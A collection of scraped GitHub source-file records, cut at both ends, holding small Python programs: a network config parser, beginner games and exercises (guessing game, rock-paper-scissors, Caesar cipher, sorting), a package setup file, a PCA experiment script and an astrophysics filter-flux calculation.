True\n        if config_line in banner_end_lines:\n            return True\n        if any([c in config_line for c in banner_end_contains]):\n            return True\n        return False\n\n    # pylint: disable=too-many-locals,too-many-branches,too-many-statements\n    def _load_from_string_lines(self, config_text: str) -> None:\n        current_section: Union[HConfig, HConfigChild] = self\n        most_recent_item: Union[HConfig, HConfigChild] = current_section\n        indent_adjust = 0\n        end_indent_adjust = []\n        temp_banner = []\n        banner_end_lines = {\"EOF\", \"%\", \"!\"}\n        banner_end_contains: List[str] = []\n        in_banner = False\n\n        for line in config_text.splitlines():\n            # Process banners in configuration into one line\n            if in_banner:\n                if line != \"!\":\n                    temp_banner.append(line)\n\n                # Test if this line is the end of a banner\n                if self._load_from_string_lines_end_of_banner_test(\n                    str(line), banner_end_lines, banner_end_contains\n                ):\n                    in_banner = False\n                    most_recent_item = self.add_child(\"\\n\".join(temp_banner), True)\n                    most_recent_item.real_indent_level = 0\n                    current_section = self\n                    temp_banner = []\n                continue\n\n            # Test if this line is the start of a banner and not an empty banner\n            # Empty banners matching the below expression have been seen on NX-OS\n            if line.startswith(\"banner \") and line != \"banner motd ##\":\n                in_banner = True\n                temp_banner.append(line)\n                banner_words = line.split()\n                try:\n                    banner_end_contains.append(banner_words[2])\n                    banner_end_lines.add(banner_words[2][:1])\n                    banner_end_lines.add(banner_words[2][:2])\n                except IndexError:\n                    pass\n                continue\n\n            actual_indent = len(line) - len(line.lstrip())\n            line = \" \" * actual_indent + \" \".join(line.split())\n            for sub in self.options[\"per_line_sub\"]:\n                line = re.sub(sub[\"search\"], sub[\"replace\"], line)\n            line = line.rstrip()\n\n            # If line is now empty, move to the next\n            if not line:\n                continue\n\n            # Determine indentation level\n            this_indent = len(line) - len(line.lstrip()) + indent_adjust\n\n            line = line.lstrip()\n\n            # Walks back up the tree\n            while this_indent <= current_section.real_indent_level:\n                current_section = current_section.parent\n\n            # Walks down the tree by one step\n            if this_indent > most_recent_item.real_indent_level:\n                current_section = most_recent_item\n\n            most_recent_item = current_section.add_child(line, True)\n            most_recent_item.real_indent_level = this_indent\n\n            for expression in self.options[\"indent_adjust\"]:\n                if re.search(expression[\"start_expression\"], line):\n                    indent_adjust += 1\n                    end_indent_adjust.append(expression[\"end_expression\"])\n                    break\n            if end_indent_adjust and re.search(end_indent_adjust[0], line):\n                indent_adjust -= 1\n                del end_indent_adjust[0]\n        assert not in_banner, \"we are still in a banner for some reason\"\n\n    def _add_acl_sequence_numbers(self) -> None:\n        \"\"\"\n        Add ACL sequence numbers for use on configurations with a style of 'ios'\n        \"\"\"\n        ipv4_acl_sw = \"ip access-list\"\n        # ipv6_acl_sw = ('ipv6 access-list')\n        if self.host.os in [\"ios\"]:\n            acl_line_sw: Tuple[str, ...] = (\"permit\", \"deny\")\n        else:\n            acl_line_sw = (\"permit\", \"deny\", \"remark\")\n        for child in self.children:\n            if child.text.startswith(ipv4_acl_sw):\n                sequence_number = 10\n                for sub_child in child.children:\n                    if sub_child.text.startswith(acl_line_sw):\n                        sub_child.text = f\"{sequence_number} {sub_child.text}\"\n                        sequence_number += 10\n\n    def _rm_ipv6_acl_sequence_numbers(self) -> None:\n        \"\"\"If there are sequence numbers in the IPv6 ACL, remove them\"\"\"\n        for acl in self.get_children(\"startswith\", \"ipv6 access-list \"):\n            for entry in acl.children:\n                if entry.text.startswith(\"sequence\"):\n                    entry.text = \" \".join(entry.text.split()[2:])\n\n    def _remove_acl_remarks(self) -> None:\n        for acl in self.get_children(\"startswith\", \"ip access-list \"):\n            for entry in acl.children:\n                if entry.text.startswith(\"remark\"):\n                    acl.children.remove(entry)\n\n    def _duplicate_child_allowed_check(self) -> bool:\n        \"\"\"Determine if duplicate(identical text) children are allowed under the parent\"\"\"\n        return False\n","repo_name":"netdevops/hier_config","sub_path":"hier_config/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":16046,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"18"}
{"seq_id":"21038880492","text":"# Task: Below are the steps:\n#\n# ->Build a Number guessing game, in which the user selects a range.\n# ->Let’s say User selected a range, i.e., from A to B, where A and B belong to Integer.\n# ->Some random integer will be selected by the system and the user has to guess that integer in the minimum number of guesses\n\nimport random\nimport math\n\nlower_bound = int(input(\"Enter lower bound: \"))\nupper_bound = int(input(\"Enter upper bound: \"))\n\nx = random.randint(lower_bound,upper_bound)\nprint('\\n\\tYou have only', round(math.log(upper_bound - lower_bound + 1, 2)), \" Chances to guess the integer!\\n\")\n\ncount = 0\n\nwhile count < math.log(upper_bound - lower_bound +1,2):\n    count += 1\n    guess = int(input(\"guess number:- \"))\n\n    if x == guess:\n        print(\"Congratulations you dit it in \",count,\" try\")\n        break\n    elif x > guess:\n        print(\"You guessed too small!\")\n    elif x < guess:\n        print(\"you guessed too high!\")\n\nif count >= math.log(upper_bound - lower_bound +1,2):\n    print(f\"The number is {x}\")\n    print(\"Better luck next time!\")","repo_name":"ar-mohanty/Python_Beginner_projects_2021","sub_path":"number_guessing.py","file_name":"number_guessing.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34785041420","text":"data = [30,-50,20,8,16,15,10]\n\ndef selection_sort(arr):\n    n = len(arr)\n    for i in range(n-1):\n        min_val = arr[i]\n        min_index = i\n        for j in range(i+1,n):\n            if arr[j] < min_val:\n                min_val = arr[j]\n                min_index = j\n        arr[i],arr[min_index] = arr[min_index], arr[i] \n\nprint(data)\nselection_sort(data)\nprint(data)","repo_name":"fahimkk/Algorithms-and-Data-Structures","sub_path":"selectionSort.py","file_name":"selectionSort.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24586925837","text":"#!/usr/bin/env python\n\nfrom __future__ import with_statement\n\nfrom setuptools import setup, find_packages\n\nwith open(\"README\") as readme:\n    documentation = readme.read()\n\nsetup(\n    name=\"yatfs\",\n    version=\"0.4.0\",\n    description=\"FUSE-based torrent-backed filesystem\",\n    long_description=documentation,\n    author=\"AllSeeingEyeTolledEweSew\",\n    author_email=\"allseeingeyetolledewesew@protonmail.com\",\n    url=\"http://github.com/AllSeeingEyeTolledEweSew/yatfs\",\n    license=\"Unlicense\",\n    packages=find_packages(),\n    use_2to3=True,\n    entry_points={\n        \"console_scripts\": [\n            \"yatfs = yatfs.main:main\"\n        ]\n    },\n    install_requires=[\n        \"deluge-client-sync>=1.0.0\",\n        \"better-bencode>=0.2.1\",\n        \"PyYAML>=3.12\",\n\t\"llfuse>=1.3,<2.0\",\n\t\"btn>=1.0.0\",\n    ],\n    classifiers=[\n        \"Development Status :: 4 - Beta\",\n        \"Intended Audience :: End Users/Desktop\",\n        \"License :: Public Domain\",\n        \"Programming Language :: Python\",\n        \"Topic :: Communications :: File Sharing\",\n        \"Topic :: System :: Filesystems\",\n        \"Topic :: System :: Networking\",\n        \"Operating System :: POSIX :: Linux\",\n        \"Operating System :: MacOS :: MacOS X\",\n        \"Operating System :: POSIX :: BSD :: FreeBSD\",\n        \"License :: Public Domain\",\n    ],\n)\n","repo_name":"AllSeeingEyeTolledEweSew/yatfs","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41602157612","text":"# passing a group of elements to a fun\n\ndef calculate(l):\n    sum = 0\n    for j in l:\n        sum = sum+j\n    print(\"sum of all values is:\", sum)\n\n\nlst = [int(i) for i in input(\"enter a list of numbers:\").split()]\ncalculate(lst)","repo_name":"Madhu-Kumar-S/Python_Basics","sub_path":"Function/f9.py","file_name":"f9.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38042149742","text":"import chatchat as cc\n\n# data.json:\n# {\n#     \"xunfei\": {\n#         \"app_id\": \"x\",\n#         \"api_secret\": \"y\",\n#         \"api_key\": \"z\"\n#     }\n# }\ncompletion = cc.xunfei.Completion('./data.json')\njson = {\n    \"header\": {\n        \"app_id\": completion.jdata['app_id'],\n    },\n    \"parameter\": {\n        \"chat\": {\n            \"domain\": 'generalv2',\n        }\n    },\n    \"payload\": {\n        \"message\": {\n            \"text\": [\n                {\"role\": \"user\", \"content\": \"请给我详细介绍一下相对论，字数不少于三百字！\"}\n            ]\n        }\n    }\n}\nr = completion.create(json, stream=True)\n","repo_name":"JiauZhang/chatchat","sub_path":"examples/xunfei.py","file_name":"xunfei.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"24753054856","text":"\"\"\"\nImplements the game of Rock-Paper-Scissors!\n\nHistory:\nThis classic game dates back to the Han Dynasty, over 2200 years ago.\nThe First International Rock-Paper-Scissors Programming Competition \nwas held in 1999 and was won by a team called \"Iocaine Powder\"\n\nThe Game:\nEach player choses a move (simultaneously) from the choices:\nrock, paper or scissors. \nIf they chose the same move the game is a tie. Otherwise:\nrock beats scissors\nscissors beats paper\npaper beats rock.\n\nIn this program a human plays against an AI. The AI choses randomly\n(we promise). The game is repeated N_GAMES times and the human gets\na total score. Each win is worth +1 points, each loss is worth -1\n\"\"\"\nimport random\n\nN_GAMES = 3\n\n\ndef main():\n\n    for x in range(N_GAMES):\n        player_move = human_choice()\n        ai_move = ai_choice()\n        \n        winner = get_winner(ai_move, player_move)\n        print(winner + \" wins!\")\n        print('')\n    points = score(winner)\n    print(\"Score: \" + str(points))\n\n\ndef print_welcome():\n    print('Welcome to Rock Paper Scissors')\n    print('You will play '+str(N_GAMES)+' games against the AI')\n    print('rock beats scissors')\n    print('scissors beats paper')\n    print('paper beats rock')\n    print('----------------------------------------------')\n    print('')\n    \n\ndef ai_choice():\n    ran_number = random.randint(0,2)\n    choices = ['scissors','paper','rock']\n    ai_play = choices[ran_number]\n    return ai_play\n\n\ndef human_choice():\n    while True:\n        player_choice = input(\"Please enter your choice: \")\n        if is_valid_move(player_choice):\n            return player_choice\n        else:\n            print(\"Invalid choice!\")\n\n\ndef is_valid_move(move):\n    if move == 'rock':\n        return True\n    elif move == 'scissors':\n        return True\n    elif move == 'paper':\n        return True\n    else:\n        return False\n\n\ndef get_winner(ai_choice, player_choice):\n    if ai_choice == player_choice:\n        return \"Noone\"\n    elif ai_choice == 'rock':\n        if player_choice == 'scissors':\n            return 'ai'\n        return 'human'\n    elif ai_choice == 'paper':\n        if player_choice == 'rock':\n            return 'ai'\n        return 'human'\n    elif ai_choice == 'scissors':\n        if player_choice == 'paper':\n            return 'ai'\n        return 'human'\n        \n\ndef score(winner):\n    score = 0\n    if winner == 'human':\n        score += 1\n    elif winner == 'ai':\n        score -= 1\n    else:\n        score += 0    \n    return score\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"boxa72/Code_In_Place","sub_path":"scissors.py","file_name":"scissors.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38239017890","text":"# Program 4\r\n# Jennifer King\r\n# October 2, 2017\r\n# This program is a Caesar Cypher- encryption and decryption mode.\r\n# The user provides the text to encrypt or decrypt, and the key\r\n# that either defines the encryption result or successfully\r\n# decrypts the text to the original message. \r\n\r\n\r\ndef encrypt():2\r\n    # the function to encrypt a phrase using a Caesar cipher.\r\n    # it takes the phrase and adds the chosen key to the\r\n    # ascii value of each letter, changing the text.\r\nplainText = input(\"Enter a phrase with no spaces, letters only:\")\r\nplainText = plainText.upper()\r\nprint(plainText)\r\n    # user input of the phrase to encrypt\r\nkey = int(input(\"Enter the key value to encrypt phrase- 1 to 26: \"))\r\n    # user input of the key which is the amount to move the ascii value\r\ncode = \"\" # placeholder for the encrypted code\r\nfor ch in plainText: # this starts an iteration through the string\r\n        ordValue = ord(ch)  # obtains the ascii value of each letter\r\n        cipherValue = ordValue + key  # adds the key value to the ascii value\r\n        if cipherValue > ord('Z'): # tests for result outside of alphabet\r\n                   cipherValue = ord('A') + key - \\\r\n                   (ord('Z') - ordValue +1) # if the resulting value is past letter z\r\n                                            # this returns the value back to a\r\n        code += chr(cipherValue)  # places the encryption of each letter in the code placeholder\r\nprint(code)  # prints the resulting encrypted code \r\n\r\n\r\ndef decrypt():\r\n    # the function to decrypt a phrase that used a Caesar cipher\r\n    # it takes the coded text and subtracts the needed key to the\r\n    # ascii value ot each letter, changing the text back to original\r\n    codeText = input(\"Enter the coded text to decipher: \")\r\n    codeText = codeText.upper()\r\n    print(codeText)\r\n    # user input of the coded text to decipher\r\n    key = int(input(\"Enter the key to decipher the coded text, 1 to 26: \"))\r\n    # user input of the key needed to decipher the code\r\n    code = \"\" # placeholder for the decrypted text\r\n    for ch in codeText: # this starts an iteration through the string\r\n        ordValue = ord(ch)  # obtains teh ascii value of each letter\r\n        cipherValue = ordValue - key # subtracts the key from each ascii value\r\n        if cipherValue < ord('A'):\r\n          # tests for the result outside of the alphabet\r\n            cipherValue = (ord('Z') - (key - ord('A') - (cipherValue + 1)))\r\n                                    # if the resulting value is less than the letter a\r\n                                    # this returns the value to the letter z\r\n        code += chr(cipherValue)  # places the decrypted text of each letter in the code placeholder\r\n    print(code) # prints the resulting decrypted code\r\n\r\n\r\ndef main():\r\n    # the main function to select encryption or decryption\r\n    userSelect = int(input(\"Enter 1 for encryption and 2 for decryption: \"))\r\n    result = \"\"  # placeholder for the result\r\n    if userSelect == 1:\r\n        result = encrypt() # sends the program to the encryption function\r\n    if userSelect == 2:\r\n        result = decrypt() # sends the program to the decryption function\r\nmain()\r\n\r\n                     \r\n                \r\n                   \r\n        \r\n","repo_name":"jeniker/python-class","sub_path":"decrypt-encrypt.py","file_name":"decrypt-encrypt.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21044338858","text":"#!/usr/local/bin/python3\n\nclass SeqList(object):\n\t#__nodes = []\t# 顺序表元素列表\n\t#__length = 0\t# 顺序表长度\n\t#__maxsize = 10\t# 顺序表最大长度\n\n\tdef __init__(self):\t# 构造函数\n\t\tprint('Initiating list...')\n\t\tself.__length = 0\t\t\t# 顺序表长度\n\t\tself.__maxsize = 10000\t\t# 顺序表最大长度\n\t\tself.__nodes = [0] * self.__maxsize\t# 顺序表元素列表\n\t\tprint('Initiated.')\n\n\tdef __del__(self):\t# 析构函数\n\t\tprint('Del list')\n\t\tdel self\n\n\tdef __repr__(self):\t# 打印、转换\t\n\t\t#print(self.__nodes)\n\t\tif self.__length > 0:\n\t\t\tprint('List start:')\n\t\t\tfor index in range(0, self.__length):\n\t\t\t\tprint('No.%d: %d' % (index + 1, self.__nodes[index]))\n\t\t\treturn 'List ends.'\n\t\telse:\n\t\t\treturn 'Empty list.'\n\n\tdef __setitem__(self, index: int, value: int):\t# 按索引赋值\n\t\t#print('setitem')\n\t\tif 0 <= index < self.__length:\n\t\t\tself.__nodes[index] = value\n\t\telse:\n\t\t\tprint('Invalid index')\n\t\treturn\n\n\tdef __getitem__(self, index: int):\t# 按索引取值\n\t\treturn self.__nodes[index] if 0 <= index < self.__length else -1\n\t\n\tdef __len__(self):\t# 获取长度\n\t\tprint('List length: ', end = '')\n\t\treturn self.__length\n\n\tdef isEmpty(self):\t\t# 顺序表判空\n\t\treturn True if self.__length <= 0 else False\n\n\tdef isFull(self):\t\t# 顺序表判满\n\t\treturn True if self.__length >= self.__maxsize else False\n\t\n\tdef insert(self, index: int, value: int):\n\t\tif index < 0 or index > self.__length:\n\t\t\tprint('Invalid Index')\n\t\t\treturn\n\t\tif self.__length > self.__maxsize:\n\t\t\tprint('List is full')\n\t\t\treturn\n\n\t\tfor i in range(self.__length - 1, index - 1):\n\t\t\tself.__nodes[i + 1] = self.__nodes[i]\n\n\t\tself.__nodes[index] = value\n\t\tself.__length += 1\n\n\tdef appendAtHead(self, value: int):\n\t\tif self.__length > self.__maxsize:\n\t\t\tprint('List is full')\n\t\t\treturn\n\n\t\tfor i in range(self.__length - 1, 0 - 1):\n\t\t\tself.__nodes[i + 1] = self.__nodes[i]\n\t\tself.__nodes[0] = value\n\t\tself.__length += 1\n\n\tdef append(self, value: int):\n\t\tif self.__length > self.__maxsize:\n\t\t\tprint('List is full')\n\t\t\treturn\n\n\t\tself.__nodes[self.__length] = value\n\t\tself.__length += 1\n\n\tdef createSeqList(self, num: int):\n\t\tif num < 0:\n\t\t\tprint('Invalid num')\n\t\t\treturn\n\t\n\t\tfor index in range(0, num):\n\t\t\tprint('Please input No.%d element: ' % (index + 1), end = '')\n\t\t\tvalue = input()\n\t\t\tself.append(int(value))\n\n\t\tself.__length = num\n\n\tdef removeAt(self, index: int):\n\t\tif index < 0 or index > self.__length:\n\t\t\tprint('Invalid index')\n\t\t\treturn\n\t\tfor i in range(index, self.__length):\n\t\t\tself.__nodes[i - 1] = self.__nodes[i]\n\t\tself.__length -= 1\n\n\tdef removeFor(self, value: int):\n\t\tindex = 0\n\t\twhile index < self.__length and self.__nodes[index] != value:\n\t\t\tindex += 1\n\t\tfor i in range(index, self.__length):\n\t\t\tself.__nodes[i] = self.__nodes[i + 1]\n\t\tself.__length -= 1\n\n\tdef removeAll(self):\n\t\tfor i in range(0, self.__length):\n\t\t\tself.__nodes[i] = 0\n\t\tself.__length = 0\n\n\tdef removeAtHead(self):\n\t\tfor i in range(1, self.__length):\n\t\t\tself.__nodes[i - 1] = self.__nodes[i]\n\t\tself.__length -= 1\n\ndef main():\n\tseqList = SeqList()\n\tfor i in range(0, 10000 - 1):\n\t\tseqList.append(i)\n\tfor i in range(0, 10000):\n\t\tseqList.insert(50, 99)\n\t\tseqList.removeAt(50)\n\t\t\n\t#print(seqList)\n\t#print(len(seqList))\n\t#print(seqList.isEmpty())\n\t#seqList.createSeqList(5)\n\t#print(seqList)\n\t#print(seqList)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"PolinHuang617/Basic","sub_path":"Languages/Python3/006-DataStructure/01-SeqList.py","file_name":"01-SeqList.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13255115679","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom funcs import load_dataset\nfrom Evaluation import Laplacian_scores\nfrom IMAPCE import IMAPCE\nfrom ContrastivePCA import Baselines\nplt.rcParams['figure.dpi'] = 100\n\n\n\ndatasets = [\"MNIST\", \"Fashion-MNIST\", \"UCI dataset\", \"MNIST and FMNIST\", \"synthetic\", \"adult\"]\ndataset_name = datasets[-1] # select a dataset from the list of datasets\n\nnum_samples = 30000\n# num_samples = 'All'\n\ninput_data, labels_data = load_dataset(dataset_name, num_samples) # load a data to define its background samples\nbg_data = 0*np.random.rand(input_data.shape[0], input_data.shape[1])\n\n# synthetic data prior\n# bg_data[:,0:4] = input_data[:, 0:4] #Synthetic dims 1-4\n\n\n#UCI adult data priors\n# bg_data[:, 2] = input_data[:, 2] # ethnicity\n# bg_data[:, 3] = input_data[:, 3] #gender\n\n# prior samples of MNIST with class '3'\n# patterns_ind = np.where(labels_data == 3)[0]\n\n# prior samples of MNIST with class 'FOLIAGE'\n# patterns_ind = np.where(labels_data == 'FOLIAGE')[0] # example of background class in UCI dataset\n\n# background_samples = input_data[patterns_ind]\nbackground_samples = bg_data # assuming some prior knowledge\n\n# if there are no prior data\n# background_samples = None\n\n\n# background data for MNIST and FMNIST data\n# background_samples, _ = load_dataset('MNIST', 1000)\n\n#\n#\nframework = IMAPCE(dataset_name = dataset_name,\n                                                    num_samples = num_samples,\n                                                    selection = \"automatic\",\n                                                    clustering_algorithm = \"DPGMM\",\n                                                    min_cluster_size = 400,\n                                                    max_clusters_num = 5,\n                                                    max_exploration_iterations = 25,\n                                                    exploration = False,\n                                                    background_samples = background_samples,\n                                                    alpha = 1,\n                                                    mu = 250,\n                                                    seed = 5)\nframework.Explore()\n\nmethod = \"original cPCA\" # select a Baseline from Baselines_methods\n\nframework = Baselines(dataset_name = dataset_name,\n                      method = method,\n                      num_samples = num_samples,\n                      num_alphas = 40,\n                      selection = \"automatic\",\n                      clustering_algorithm = \"DPGMM\",\n                      min_cluster_size = 400,\n                      max_clusters_num = 5,\n                      max_exploration_iterations = 25,\n                      exploration = False,\n                      background_samples = background_samples)\n\nframework.Explore()\ndataset_name = \"synthetic\"\nlabels = ''\n# if dataset is synthetic or adult then the Laplacian scores plots are obtained by:\n# labels = 'ethnicity' or 'gender' or 'gender-ethnicity'\nLaplacian_scores(dataset_name, labels)","repo_name":"StavGer/IMAPCE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14488991777","text":"import numpy as np\nfrom scipy.io import readsav\n\nimport re\n\n#from astropy.cosmology import FlatLambdaCDM\nfrom astropy import units as u\nimport astropy \n\nfrom matplotlib.pylab import *\nimport matplotlib.pyplot as plt \nfrom matplotlib.ticker import FuncFormatter\nfrom matplotlib.ticker import NullFormatter\n\nrcParams['figure.figsize'] = (10,8)\nrcParams['font.size'] = 22\n\nimport sys\nsys.path.append('/Users/earnric/Google Drive/ASU/Codes/PythonCode/modules')\nimport loadfilt as lf\nimport igm as lyA\n\nimport itertools\nimport os\nimport subprocess\nimport glob\nimport gc\nimport linecache\n\n\n#\n# Build the file from the flux data and redshift\n#\ndef buildOutFile(z,allAges,ages,wavelns,LperA):\n    prevAge = 0.0\n    outfile = []\n    print(\"working {} at z={:.1f}\".format(fname,z))\n    absorb = lyA.lyTauC(z) # Create a lyman forest absorption function for z... ***** NEW truncated absorption\n    for age in ages: # Once for each age group in the list\n        if age - prevAge < 0.025:\n            continue # We don't super-tight spacing in age... \n        print(\"log age={:.4f}\".format(age))\n        prevAge = age\n        ageCond = (allAges == age) # select records based on log age field... \n        # Convert to freq & Lumin/s/Hz\n        freq = (wavelns[ageCond][::-1]).to(u.Hz, equivalencies=u.spectral()) # Reverse array order\n        LperHz = (LperA[ageCond] * wavelns[ageCond]**2/astropy.constants.c).to(u.erg/u.s/u.Hz)[::-1] # Reverse array order...\n\n        rsWaveln, rsLperA  = lyA.rsSEDwavelen(wavelns[ageCond], LperA[ageCond], z) # Redshift SED in wavelen\n        rsFreq,   rsLperHz = lyA.rsSEDfreq(freq, LperHz, z)      # Redshift SED in freq\n        lyForFluxHz = (rsLperHz * absorb(rsWaveln[::-1]))\n\n        # Need to extract only the data for one sed (at a single age)\n        # to compute the flux in the filters\n        rsWavelnOneAge    = rsWaveln\n        rsFreqOneAge      = rsFreq\n        lyForFluxHzOneAge = lyForFluxHz\n        # Create first part [log age, z, ...]\n        # Flux is in erg/s/Hz/cm^2\n        jwstNormFlux = np.array([np.trapz(jwstFilters[aFilt](rsWavelnOneAge[::-1])/rsFreqOneAge,rsFreqOneAge).value for aFilt in jwstFilters])\n        jwstNormFlux[jwstNormFlux <= 0.0] = -1.0\n        jwstFlux = np.array([(np.trapz(jwstFilters[aFilt](rsWavelnOneAge[::-1])*lyForFluxHzOneAge/rsFreqOneAge,rsFreqOneAge)).value\n                    for aFilt in jwstFilters])\n        jwstFlux[jwstFlux < 1e-90] = 0.0\n        jwstFlux   = np.divide(jwstFlux,jwstNormFlux).tolist()\n\n        hubbNormFlux = np.array([np.trapz(hubbleFilters[aFilt](rsWavelnOneAge[::-1])/rsFreqOneAge,rsFreqOneAge).value for aFilt in hubbleFilters])\n        hubbNormFlux[hubbNormFlux <= 0.0] = -1.0\n        hubbFlux = np.array([(np.trapz(hubbleFilters[aFilt](rsWavelnOneAge[::-1])*lyForFluxHzOneAge/rsFreqOneAge,rsFreqOneAge)).value\n                    for aFilt in hubbleFilters])   \n        hubbFlux[hubbFlux < 1e-90] = 0.0\n        hubbFlux = np.divide(hubbFlux,hubbNormFlux).tolist()\n\n        jhkNormFlux = np.array([np.trapz(jhkFilters[aFilt](rsWavelnOneAge[::-1])/rsFreqOneAge,rsFreqOneAge).value for aFilt in jhkFilters])\n        jhkNormFlux[jhkNormFlux <= 0.0] = -1.0\n        jhkFlux = np.array([(np.trapz(jhkFilters[aFilt](rsWavelnOneAge[::-1])*lyForFluxHzOneAge/rsFreqOneAge,rsFreqOneAge)).value\n                    for aFilt in jhkFilters])\n        jhkFlux[jhkFlux < 1e-90] = 0.0\n        jhkFlux = np.divide(jhkFlux,jhkNormFlux).tolist()\n\n        aLine = [age] + [z] + jwstFlux + hubbFlux + jhkFlux\n        outfile.append(aLine)\n\n    return outfile\n#\n# Read in Schaerer and SB99 luminosity files and generate flux in filter.\n# These tables only consider Ly-forest absorption -- and redshift.\n# User needs to apply reddening.\n#\n\ndef buildFilterFluxFiles():\n    \"\"\"Creates flux-in-filter files from the SED.\n    This is untested but a copy of the python notebook that works.\n    \"\"\"\n    jwstFilters   = lf.loadJWSTFilters(suppress=True)\n    hubbleFilters = lf.loadHubbleFilters(suppress=True)\n    \n    lamRange      = np.logspace(1.95,5.7,5500)\n\n    schaererPath = '/Users/earnric/Research/Research-Observability/Software-Models/Schaerer/'\n    schaererDirs = ['pop3_TA/','pop3_TE/','e-70_mar08/','e-50_mar08/']\n    Zs           = [0.0, 0.0, 1.0e-7, 1.0e-5]\n    schaererPopFilePattern  = 'pop3_ge0_log?_500_001_is5.[0-9]*' # is5 files have ages in step of 1 Myr\n    schaererLowZFilePattern = 'e-?0_sal_100_001_is2.[0-9]*'      # is2 files have ages in step of 0.05 dex\n\n    # Load the schaerer files... \n    # Note that due to spacing (in age), there are sometimes two files that \n    # are SEDS for the same time-stamp! Skip the second one (and third!)\n    lastAge = 0.0\n    for i, (Z, schaererDir) in enumerate(zip(Zs,schaererDirs)):\n        if schaererDir.startswith('pop3'):\n            schaererFilePattern = schaererPath + schaererDir + schaererPopFilePattern  # Pop III files, 1 Myr spacing\n        else:\n            schaererFilePattern = schaererPath + schaererDir + schaererLowZFilePattern # Low Z files, 0.05 dex spacing\n\n        schaererFiles   = glob.glob(schaererFilePattern)  # All the files in the dir... \n        schaererFiles   = [a for a in schaererFiles if not re.search('\\.[1-2][0-9][b]*$', a)] # remove .1? and .2? files\n        schaererAges    = [linecache.getline(file,13) for file in schaererFiles]    # Get the line with the (log) age... \n        schaererAges    = np.array([float(sa[30:]) for sa in schaererAges],dtype=float)         # Log age starts at position 30\n\n        schaererData    = np.array([np.loadtxt(file,skiprows=16) for file in schaererFiles])\n        ageSortIndxes   = schaererAges.argsort()          # Array of indices to sort things by age...\n\n        schaererData    = schaererData[ageSortIndxes]\n        schaererAges    = schaererAges[ageSortIndxes]\n        print(len(schaererData))\n        print(len(schaererAges),schaererAges)\n\n        # Ignore data files with the same age! This occurs in the popIII dirs\n        # because the timestep is smaller than the age-resolution printed in the file\n        # Hence we get 2 files with different data but the same time stamp\n        lastAge = 0.0\n        schaererDataGood = []\n        schaererAgesGood = []\n        for ii,(sd,age) in enumerate(zip(schaererData,schaererAges)):\n            if age == lastAge:\n                # Remove it\n                continue\n            lastAge = age\n            schaererDataGood.append(sd)\n            schaererAgesGood.append(float(age))\n\n        # The following builds an array of arrays (one for each age) with each array's entries:\n        # log age, Z, waveln, lum/A\n        allSchaererData = [np.insert(sed[:,[0,2]],[0],[[anAge] for ii in range(0,len(sed))], axis=1) \n            for anAge,sed in zip(schaererAgesGood, schaererDataGood)]\n        allSchaererData = np.array(allSchaererData).reshape(len(allSchaererData)*len(allSchaererData[0]),3)\n        if i == 0:\n            pop3TA = allSchaererData # may need a np.copy(...) here... ??\n        elif i == 1:\n            pop3TE = allSchaererData\n        elif i == 2:\n            Zem7 = allSchaererData\n        elif i == 3:\n            Zem5 = allSchaererData\n        # We now have:\n        # [[log age, waveln, flux], [], ...]\n\n    # Generate the filter-flux data... \n    \n    redshifts     = [2.0,3.0,4.0,5.0,5.5,6.0,6.5,7.0,7.5,8.0,8.5,9.0,9.5,10.0,11.0,12.0,13.0]\n    schaererList  = [pop3TA, pop3TE, Zem7, Zem5]\n    schaererNames = [\"pop3TA\", \"pop3TE\", \"Zem7\", \"Zem5\"]\n    hdr = 'LogAge, redshift, '\n    hdr += ', '.join([jFilt for jFilt in jwstFilters])\n    hdr += ', '\n    hdr += ', '.join([hFilt for hFilt in hubbleFilters])\n    hdr += ', '\n    hdr += ', '.join([jFilt for jFilt in jhkFilters])\n    fmtStr = '%.4f, %.1f, '\n    fmtStr += ', '.join(['%.4e' for ii in arange(len(jwstFilters)+len(hubbleFilters)+len(jhkFilters))]) \n    for schaererData, fname in zip(schaererList,schaererNames):\n        ages = np.unique(schaererData[:,0]) # Get the list of ages\n        ages = ages[ages <= 9.01] # We don't need flux for stars older than 1.02 Gyr\n        # Get the log age, wavelength & Luminosity/s/Ang\n        allAges = schaererData[:,0]\n        wavelns = schaererData[:,1] * u.Angstrom\n        LperA   = schaererData[:,2] * u.erg / u.second / u.angstrom\n        for z in redshifts:\n            buildOutFile(z,allAges,ages,wavelns,LperA)\n            filename = fname + \"_\" + str(z) + \".gz\"\n            print('writing {}'.format(filename))\n            np.savetxt(filename, outfile, fmt=fmtStr, delimiter=', ', header=hdr)\n\n    print(\"Done with Schaerer...\")\n    # Process SB99 files...\n    \n\n    # SB99 format:     TIME [YR]    WAVELENGTH [A]   LOG TOTAL  LOG STELLAR  LOG NEBULAR  [ERG/SEC/A]\n    # REMEMBER, SB99 data is for a population of 1e6 M_sun\n    SB99Path = '/Users/earnric/OneDrive/STARBURST99-runs/' # Home computer dir... \n    SB99Dirs = 